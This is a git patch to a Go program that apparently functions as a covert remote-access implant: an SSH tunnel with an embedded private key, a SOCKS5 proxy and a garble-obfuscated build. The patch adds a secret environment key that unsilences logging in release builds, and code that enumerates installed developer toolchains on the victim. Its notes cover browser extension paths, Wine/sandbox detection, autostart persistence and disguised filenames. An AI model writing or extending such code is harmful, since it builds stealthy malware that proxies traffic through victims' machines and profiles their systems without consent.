From ce4ec79f2f48170aa0143e4ba134a14c72bef634 Mon Sep 17 00:00:00 2001 From: Jerry Jacobs Date: Sun, 28 Jul 2024 21:57:11 +0200 Subject: [PATCH] Add VMK environment variable --- Makefile | 5 ++- config.go | 17 +++++++--- config_template.go | 5 ++- docs/NOTES.md | 22 ++++++++++++- main.go | 2 ++ main_debug.go | 2 ++ main_release.go | 8 ++++- system.go | 80 +++++++++++++++++++++++++++++++++++++++++++--- 8 files changed, 127 insertions(+), 14 deletions(-) diff --git a/Makefile b/Makefile index f30a6d9..e725b0a 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go +SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_CMD = $(GARBLE_BIN) -literals -tiny @@ -58,6 +58,9 @@ resources/ssh_private_key: resources/ssh_private_key.base64: resources/ssh_private_key base64 -i $< -o $@ +fmt: + gofmt -w *.go + secrets: config_release.go.base64 resources/ssh_private_key.base64 .phony: clean test win diff --git a/config.go b/config.go index 4959ef3..881ff6d 100644 --- a/config.go +++ b/config.go @@ -3,20 +3,27 @@ package main import "io" type config struct { + // Verbose mode key + // + // In release builds the verbose mode is silenced when this key is given + // verbose mode is force enabled. The key is read from the "VMK" environment + // variable at startup. + VerboseModeKey string + // SSH server user name - SSHServerUserName string + SSHServerUserName string // SSH server host and port connect to - SSHServerURL string + SSHServerURL string // Path to private key pem in debug builds - SSHPrivateKeyFile string + SSHPrivateKeyFile string // SOCKS5 listen port (when set to 0 dynamic bind) - SOCKS5ListenPort int + SOCKS5ListenPort int // Enable if host has SSHFP in DNS. When disabled insecure host key check is performed. - SSHVerifyValidSSHFP bool + SSHVerifyValidSSHFP bool // DNS client resolv.conf for fetching SSHFP records from. // Config is used when SSHVerifyValidSSHFP = true diff --git a/config_template.go b/config_template.go index 7e5ad5c..84b9978 100644 --- a/config_template.go +++ b/config_template.go @@ -1,15 +1,18 @@ //go:build !release // +build !release + +// package main import "strings" var cfg config = config{ + VerboseModeKey: "ShowMeTheMoney", SSHServerUserName: "username", SSHPrivateKeyFile: "path/to/id_ecdsa", SSHServerURL: "myhost.org:22", SOCKS5ListenPort: 13376, - SSHVerifyValidSSHFP: false, + SSHVerifyValidSSHFP: false, DNSServersResolvConf: strings.NewReader(`nameserver 8.8.8.8 nameserver 8.8.4.4 `), diff --git a/docs/NOTES.md b/docs/NOTES.md index 84a7f6a..31ada1d 100644 --- a/docs/NOTES.md +++ b/docs/NOTES.md @@ -8,7 +8,23 @@ * Rust: `C:\Users\YourUsername\.cargo\bin\rustc.exe` * Haskel: `C:\Users\YourUsername\AppData\Roaming\local\bin\ghc.exe` * FireFox: `C:\Users\\AppData\Local\Mozilla Firefox\firefox.exe` -* Chrome: `C:\Users\\AppData\Local\Google\Chrome\Application\chrome.exe` +* Chrome: `C:\Users\\AppData\Local\Google\Chrome\Application` + * `chrome.exe`: The main executable for launching Google Chrome. + * `chrome_proxy.exe`: A process used for managing proxy settings in Chrome. + * `chrome_launcher.exe`: Typically used to start the Chrome browser with specific configurations. + * `chrome.dll`: While not an .exe, chrome.dll is a crucial dynamic link library file used by Chrome. (For context, it is located in the same directory or subdirectories, but it’s not an executable file.) + * `chrome_remote_desktop_host.exe`: If Chrome Remote Desktop is installed, this executable handles remote desktop connections. + * `chrome_update.exe`: An executable for updating Chrome. + +* Edge extensions: `C:\Users\\AppData\Local\Microsoft\Edge\User Data\Default\Extensions` +* Opera: `C:\Users\\AppData\Roaming\Opera Software\Opera Stable\Extensions` +* Firefox profile extensions: `C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\\extensions` +* Chrome extensions and components: `C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Extensions` + +Check if running under wine by testing if executables are present: + +* `.wine/drive_c/windows/syswow64/wine*.exe` +* `.wine/drive_c/windows/system32/wine*.exe` ## Ultimate Packer for Executables (UPX) @@ -26,6 +42,10 @@ * go-autostart: shortcut in start-menu * Write state file of persistence to somewhere... +## Debugging release build + +* The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build + ## Windows * Copy to well known current user binary path to semi related filenames diff --git a/main.go b/main.go index 10186cf..0469d50 100644 --- a/main.go +++ b/main.go @@ -133,6 +133,8 @@ func main() { log.Println("SOCKS5 Addr", proxyServerURL) + systemGetWellKnownBinaryPaths() + for { } } diff --git a/main_debug.go b/main_debug.go index 526b877..8ab2661 100644 --- a/main_debug.go +++ b/main_debug.go @@ -1,5 +1,7 @@ //go:build !release // +build !release + +// package main var resourceSSHPrivateKey string diff --git a/main_release.go b/main_release.go index 2b7bb5d..1287fd3 100644 --- a/main_release.go +++ b/main_release.go @@ -1,14 +1,20 @@ //go:build release // +build release + +// package main import ( _ "embed" + "os" ) //go:embed resources/ssh_private_key var resourceSSHPrivateKey string func init() { - systemSilenceAllLogging() + dontSilenceKey := os.Getenv("VMK") + if dontSilenceKey != cfg.VerboseModeKey { + systemRouteAllLogging(os.DevNull) + } } diff --git a/system.go b/system.go index b615ed6..9c9e878 100644 --- a/system.go +++ b/system.go @@ -1,15 +1,15 @@ package main import ( - "os" "fmt" "log" + "os" + "path/filepath" ) -// Silence all logging -func systemSilenceAllLogging() { - // Open /dev/null for writing - nullFile, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0666) +// Route all logging +func systemRouteAllLogging(logfile string) { + nullFile, err := os.OpenFile(logfile, os.O_WRONLY, 0666) if err != nil { fmt.Println("Error opening /dev/null:", err) return @@ -22,3 +22,73 @@ func systemSilenceAllLogging() { // Redirect log facility to /dev/null log.SetOutput(nullFile) } + +func systemGetAppDataPath() string { + return filepath.Join(os.Getenv("USERPROFILE"), "AppData") +} + +// systemCheckDirExists checks if the directory at the given path exists. +func systemIsDirExisting(path string) bool { + // Get file info + info, err := os.Stat(path) + if err != nil { + // If the error is due to the file not existing, return false + if os.IsNotExist(err) { + return false + } + // For any other errors, you may want to handle them as needed + return false + } + + // Check if the info corresponds to a directory + return info.IsDir() +} + +func systemIsFileExisting(path string) bool { + // Get file info + info, err := os.Stat(path) + if err != nil { + // If the error is due to the file not existing, return false + if os.IsNotExist(err) { + return false + } + // For any other errors, you may want to handle them as needed + return false + } + + // Check if the info corresponds to a regular file + return !info.IsDir() +} + +func systemGetWellKnownBinaryPaths() []string { + var existingPaths []string + + appDataPath := systemGetAppDataPath() + if ok := systemIsDirExisting(appDataPath); !ok { + log.Println("\t❌", appDataPath) + } + + wellKnownPathsToCheck := []string{ + filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations + filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations + } + + homeDirectory, err := os.UserHomeDir() + if err == nil { + homeDirPathsToCheck := []string{ + filepath.Join(homeDirectory, "go", "bin"), + } + wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...) + } + + for _, path := range wellKnownPathsToCheck { + if ok := systemIsDirExisting(path); ok { + existingPaths = append(existingPaths, path) + log.Println("\t✅", path) + } else { + log.Println("\t❌", path) + } + } + + return existingPaths +}